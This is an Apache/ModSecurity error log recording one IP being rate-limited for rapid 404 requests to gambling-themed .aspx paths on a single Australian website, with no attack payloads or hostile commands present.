[Sat Apr 11 04:44:56.936820 2026] [:error] [pid 33288:tid 33305] [client 51.83.238.207:59324] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "adlhSGJmwJFFPEgRHfHyQQAAAM8"]
[Sat Apr 11 04:45:02.863809 2026] [:error] [pid 33173:tid 33259] [client 51.83.238.207:49204] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "adlhTq8109xRDP2izWih-AAAAI4"]
[Sat Apr 11 04:45:03.570131 2026] [:error] [pid 33288:tid 33291] [client 51.83.238.207:49220] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "adlhT2JmwJFFPEgRHfHyZQAAAME"]
[Sat Apr 11 04:45:03.646817 2026] [:error] [pid 33172:tid 33232] [client 51.83.238.207:49200] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "adlhTzn2G0IJw5EZY9kPtwAAAE4"]
[Sat Apr 11 04:45:04.387164 2026] [:error] [pid 33173:tid 33252] [client 51.83.238.207:59330] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "adlhUK8109xRDP2izWih-QAAAIc"]
[Sat Apr 11 04:45:05.410710 2026] [:error] [pid 33288:tid 33312] [client 51.83.238.207:49222] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "adlhUWJmwJFFPEgRHfHydAAAANY"]
[Sat Apr 11 04:45:06.189520 2026] [:error] [pid 33173:tid 33260] [client 51.83.238.207:49228] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "adlhUq8109xRDP2izWiiAwAAAI8"]
[Sat Apr 11 04:45:06.584969 2026] [:error] [pid 33172:tid 33231] [client 51.83.238.207:49240] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "adlhUjn2G0IJw5EZY9kPvwAAAE0"]
[Sat Apr 11 04:45:06.832328 2026] [:error] [pid 33173:tid 33257] [client 51.83.238.207:49252] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "adlhUq8109xRDP2izWiiBwAAAIw"]
[Sat Apr 11 04:45:07.975560 2026] [:error] [pid 33288:tid 33314] [client 51.83.238.207:51728] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "adlhU2JmwJFFPEgRHfHygwAAANg"]
[Sat Apr 11 04:45:08.723167 2026] [:error] [pid 33172:tid 33229] [client 51.83.238.207:51736] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "adlhVDn2G0IJw5EZY9kPxwAAAEs"]
[Sat Apr 11 04:45:09.602336 2026] [:error] [pid 33173:tid 33267] [client 51.83.238.207:51748] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "adlhVa8109xRDP2izWiiDQAAAJY"]
[Sat Apr 11 04:45:09.909851 2026] [:error] [pid 33288:tid 33294] [client 51.83.238.207:51752] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "adlhVWJmwJFFPEgRHfHyjwAAAMQ"]
[Sat Apr 11 04:45:10.901130 2026] [:error] [pid 33288:tid 33312] [client 51.83.238.207:51764] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "adlhVmJmwJFFPEgRHfHymAAAANY"]
[Sat Apr 11 04:45:11.303638 2026] [:error] [pid 33288:tid 33311] [client 51.83.238.207:51766] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "adlhV2JmwJFFPEgRHfHymwAAANU"]
[Sat Apr 11 04:45:12.681144 2026] [:error] [pid 33171:tid 33204] [client 51.83.238.207:51770] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "adlhWLoqTMlo30hcVw82EQAAABI"]
[Sat Apr 11 04:45:12.702720 2026] [:error] [pid 33172:tid 33232] [client 51.83.238.207:51772] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "adlhWDn2G0IJw5EZY9kP2QAAAE4"]
[Sat Apr 11 04:45:13.659084 2026] [:error] [pid 33288:tid 33305] [client 51.83.238.207:51776] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "adlhWWJmwJFFPEgRHfHyqwAAAM8"]
[Sat Apr 11 04:45:13.862191 2026] [:error] [pid 33288:tid 33291] [client 51.83.238.207:51780] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "adlhWWJmwJFFPEgRHfHyrQAAAME"]
[Sat Apr 11 04:45:15.312850 2026] [:error] [pid 33171:tid 33201] [client 51.83.238.207:51810] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "adlhW7oqTMlo30hcVw82GAAAAA8"]
[Sat Apr 11 04:45:15.455789 2026] [:error] [pid 33288:tid 33298] [client 51.83.238.207:51796] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "adlhW2JmwJFFPEgRHfHysQAAAMg"]
[Sat Apr 11 04:45:16.520534 2026] [:error] [pid 33171:tid 33195] [client 51.83.238.207:51822] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "adlhXLoqTMlo30hcVw82JQAAAAk"]
[Sat Apr 11 04:45:16.729338 2026] [:error] [pid 33171:tid 33196] [client 51.83.238.207:51828] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "adlhXLoqTMlo30hcVw82JwAAAAo"]
[Sat Apr 11 04:45:18.160327 2026] [:error] [pid 33288:tid 33311] [client 51.83.238.207:54170] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "adlhXmJmwJFFPEgRHfHyuwAAANU"]
[Sat Apr 11 04:45:18.428863 2026] [:error] [pid 33288:tid 33302] [client 51.83.238.207:51838] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "adlhXmJmwJFFPEgRHfHywAAAAMw"]
[Sat Apr 11 04:45:18.995727 2026] [:error] [pid 33288:tid 33292] [client 51.83.238.207:54184] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "adlhXmJmwJFFPEgRHfHyyQAAAMI"]
[Sat Apr 11 04:45:19.279771 2026] [:error] [pid 33288:tid 33290] [client 51.83.238.207:54196] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "adlhX2JmwJFFPEgRHfHyygAAAMA"]
[Sat Apr 11 04:45:20.726019 2026] [:error] [pid 33288:tid 33297] [client 51.83.238.207:54206] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "adlhYGJmwJFFPEgRHfHy0wAAAMc"]
[Sat Apr 11 04:45:21.470523 2026] [:error] [pid 33171:tid 33203] [client 51.83.238.207:54214] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "adlhYboqTMlo30hcVw82MAAAABE"]
[Sat Apr 11 04:45:21.768151 2026] [:error] [pid 33173:tid 33263] [client 51.83.238.207:54228] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "adlhYa8109xRDP2izWiiFwAAAJI"]
[Sat Apr 11 04:45:22.628054 2026] [:error] [pid 33171:tid 33208] [client 51.83.238.207:54230] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "adlhYroqTMlo30hcVw82MwAAABY"]
[Sat Apr 11 04:45:23.601605 2026] [:error] [pid 33172:tid 33219] [client 51.83.238.207:54232] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "adlhYzn2G0IJw5EZY9kP7gAAAEE"]
[Sat Apr 11 04:45:24.430292 2026] [:error] [pid 33171:tid 33195] [client 51.83.238.207:54250] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "adlhZLoqTMlo30hcVw82OwAAAAk"]
[Sat Apr 11 04:45:24.486489 2026] [:error] [pid 33173:tid 33252] [client 51.83.238.207:54248] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "adlhZK8109xRDP2izWiiGgAAAIc"]
[Sat Apr 11 04:45:25.409302 2026] [:error] [pid 33172:tid 33232] [client 51.83.238.207:54254] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "adlhZTn2G0IJw5EZY9kP9QAAAE4"]
[Sat Apr 11 04:45:26.847190 2026] [:error] [pid 33288:tid 33303] [client 51.83.238.207:54270] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "adlhZmJmwJFFPEgRHfHy7AAAAM0"]
[Sat Apr 11 04:45:27.140767 2026] [:error] [pid 33288:tid 33290] [client 51.83.238.207:54280] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "adlhZ2JmwJFFPEgRHfHy7wAAAMA"]
[Sat Apr 11 04:45:27.622651 2026] [:error] [pid 33288:tid 33306] [client 51.83.238.207:54294] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "adlhZ2JmwJFFPEgRHfHy8QAAANA"]
[Sat Apr 11 04:45:28.864334 2026] [:error] [pid 33173:tid 33257] [client 51.83.238.207:47836] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "adlhaK8109xRDP2izWiiJwAAAIw"]
[Sat Apr 11 04:45:29.450444 2026] [:error] [pid 33172:tid 33233] [client 51.83.238.207:47842] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "adlhaTn2G0IJw5EZY9kQAQAAAE8"]
[Sat Apr 11 04:45:29.667291 2026] [:error] [pid 33172:tid 33221] [client 51.83.238.207:47850] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "adlhaTn2G0IJw5EZY9kQBAAAAEM"]
[Sat Apr 11 04:45:30.617085 2026] [:error] [pid 33171:tid 33189] [client 51.83.238.207:47864] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "adlharoqTMlo30hcVw82QwAAAAM"]
[Sat Apr 11 04:45:32.331136 2026] [:error] [pid 33173:tid 33245] [client 51.83.238.207:47876] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "adlhbK8109xRDP2izWiiPwAAAIA"]
[Sat Apr 11 04:45:32.388974 2026] [:error] [pid 33171:tid 33190] [client 51.83.238.207:47878] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "adlhbLoqTMlo30hcVw82RgAAAAQ"]
[Sat Apr 11 04:45:32.478249 2026] [:error] [pid 33173:tid 33249] [client 51.83.238.207:47886] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "adlhbK8109xRDP2izWiiQQAAAIQ"]
[Sat Apr 11 04:45:33.959017 2026] [:error] [pid 33171:tid 33195] [client 51.83.238.207:47890] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "adlhbboqTMlo30hcVw82SAAAAAk"]
[Sat Apr 11 04:45:35.459049 2026] [:error] [pid 33173:tid 33265] [client 51.83.238.207:47896] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "adlhb68109xRDP2izWiiTAAAAJQ"]
[Sat Apr 11 04:45:35.714655 2026] [:error] [pid 33171:tid 33196] [client 51.83.238.207:47904] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "adlhb7oqTMlo30hcVw82SwAAAAo"]
[Sat Apr 11 04:45:35.874904 2026] [:error] [pid 33172:tid 33228] [client 51.83.238.207:47916] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "adlhbzn2G0IJw5EZY9kQGAAAAEo"]
[Sat Apr 11 04:45:37.008656 2026] [:error] [pid 33171:tid 33197] [client 51.83.238.207:47930] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "adlhcboqTMlo30hcVw82UQAAAAs"]
[Sat Apr 11 04:45:38.890604 2026] [:error] [pid 33173:tid 33268] [client 51.83.238.207:50040] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "adlhcq8109xRDP2izWiiZwAAAJc"]
[Sat Apr 11 04:45:39.294754 2026] [:error] [pid 33172:tid 33239] [client 51.83.238.207:50052] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "adlhczn2G0IJw5EZY9kQIQAAAFU"]
[Sat Apr 11 04:45:40.302707 2026] [:error] [pid 33171:tid 33191] [client 51.83.238.207:50068] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "adlhdLoqTMlo30hcVw82VQAAAAU"]
[Sat Apr 11 04:45:41.556568 2026] [:error] [pid 33173:tid 33253] [client 51.83.238.207:50100] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "adlhda8109xRDP2izWiigAAAAIg"]
